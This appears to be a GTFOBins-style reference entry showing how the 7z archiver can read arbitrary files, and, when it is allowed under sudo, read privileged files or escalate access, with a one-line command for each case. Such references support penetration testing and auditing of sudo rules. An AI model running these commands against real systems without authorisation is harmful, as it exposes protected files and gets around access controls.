.. / 7z

• File read
• Sudo

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• LFILE=file_to_read
  7z a -ttar -an -so $LFILE | 7z e -ttar -si -so

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

• LFILE=file_to_read
  sudo 7z a -ttar -an -so $LFILE | 7z e -ttar -si -so